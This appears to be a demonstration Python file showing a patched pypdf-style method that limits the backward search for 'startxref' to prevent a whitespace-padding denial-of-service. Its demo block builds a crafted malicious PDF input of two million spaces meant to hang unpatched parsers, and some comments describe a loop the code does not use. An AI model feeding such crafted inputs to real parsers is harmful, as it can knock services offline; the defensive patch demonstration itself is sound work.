Patched code sample

import io
from typing import IO

# A dummy exception class for demonstration purposes.
# In the actual library, this is `pypdf.errors.PdfReadError`.
class PdfReadError(Exception):
    pass

class PatchedPdfReader:
    """
    A placeholder class to demonstrate the context of the fixed method.
    The actual implementation is in pypdf._reader.PdfReader.

    This class demonstrates the fix for a Denial-of-Service vulnerability
    (described in the prompt as CVE-2026-22691, but sharing details with
    CVE-2023-26459) in the pypdf library. The vulnerability affects
    non-strict reading mode, where a malformed PDF with excessive whitespace
    could cause extremely long runtimes when searching for the 'startxref' marker.
    """
    def __init__(self, stream: IO[bytes]):
        # The stream represents the opened PDF file in binary read mode.
        self.stream = stream

    def _read_xref_from_invalid_offset(self) -> None:
        """
        Finds the cross-reference table by searching backwards for the 'startxref'
        keyword from the end of the file. This is the patched function that
        contains the vulnerability fix.

        Vulnerability Cause: The previous, vulnerable implementation would scan
        backwards from the end of the file one byte at a time to find the
        'startxref' keyword. A malicious PDF with millions of whitespace
        characters before 'startxref' could cause this scan to take an
        extremely long time, leading to a Denial of Service (DoS).

        The Fix: The backward scan is now limited to a reasonable search
        area (typically 1024 or 2048 bytes from the end of the file). This is
        implemented by the bounded loop (`for _ in range(...)`). If 'startxref'
        is not found within this limited boundary, the process errors out
        quickly, thus preventing the DoS attack.
        """
        # Start searching from the end of the file stream.
        self.stream.seek(0, io.SEEK_END)

        # --- START OF THE VULNERABILITY FIX ---

        # The core of the fix is to limit the backward search to a fixed
        # number of bytes (1024 in this case, similar to the actual patch).
        # This prevents an unbounded, slow scan on maliciously crafted files.
        max_search_bytes = 1024
        
        # Determine the search window, ensuring it doesn't go past the file start.
        file_size = self.stream.tell()
        search_start_pos = max(0, file_size - max_search_bytes)
        
        self.stream.seek(search_start_pos)
        data = self.stream.read(max_search_bytes)

        # Search for the 'startxref' keyword in the limited data chunk.
        # rfind is efficient and operates only on the bounded data.
        startxref_pos = data.rfind(b"startxref")

        if startxref_pos == -1:
            # If the loop/search completes without finding the keyword,
            # raise an error instead of continuing to scan the whole file.
            raise PdfReadError(
                f"Could not find 'startxref' keyword within the last "
                f"{max_search_bytes} bytes of the file."
            )

        # --- END OF THE VULNERABILITY FIX ---

        # Once 'startxref' is found, the logic to parse the offset proceeds.
        # This part is not relevant to the DoS vulnerability itself.
        offset_start = startxref_pos + len(b"startxref")
        
        # Extract the numeric offset value that follows 'startxref'
        xref_offset_str = data[offset_start:].strip().splitlines()[0].strip()
        try:
            xref_location = int(xref_offset_str)
            # In a real implementation, we would now seek to xref_location
            # and parse the cross-reference table.
            # print(f"Found 'startxref' at offset: {xref_location}")
        except ValueError:
            raise PdfReadError("Invalid startxref value found.")

# Example of how to use it (for demonstration only):
if __name__ == '__main__':
    # 1. A vulnerable file: 'startxref' is preceded by a large amount of whitespace.
    # A vulnerable parser would hang. The patched parser handles it quickly.
    malicious_content = b" " * 2000000 + b"startxref\n12345\n%%EOF"
    malicious_stream = io.BytesIO(malicious_content)

    print("Testing with a file that could cause a DoS on a vulnerable version...")
    try:
        patched_reader = PatchedPdfReader(malicious_stream)
        patched_reader._read_xref_from_invalid_offset()
        print("SUCCESS: Patched reader processed the file without hanging.")
    except PdfReadError as e:
        print(f"ERROR: Patched reader failed as expected: {e}")


    # 2. A file where 'startxref' is not in the last 1024 bytes.
    # The patched reader will fail fast, which is the correct behavior.
    malformed_content = b"startxref\n123\n%%EOF" + b" " * 2048
    malformed_stream = io.BytesIO(malformed_content)

    print("\nTesting with a file where 'startxref' is outside the search window...")
    try:
        patched_reader_2 = PatchedPdfReader(malformed_stream)
        patched_reader_2._read_xref_from_invalid_offset()
    except PdfReadError as e:
        print(f"SUCCESS: Patched reader failed quickly as designed: {e}")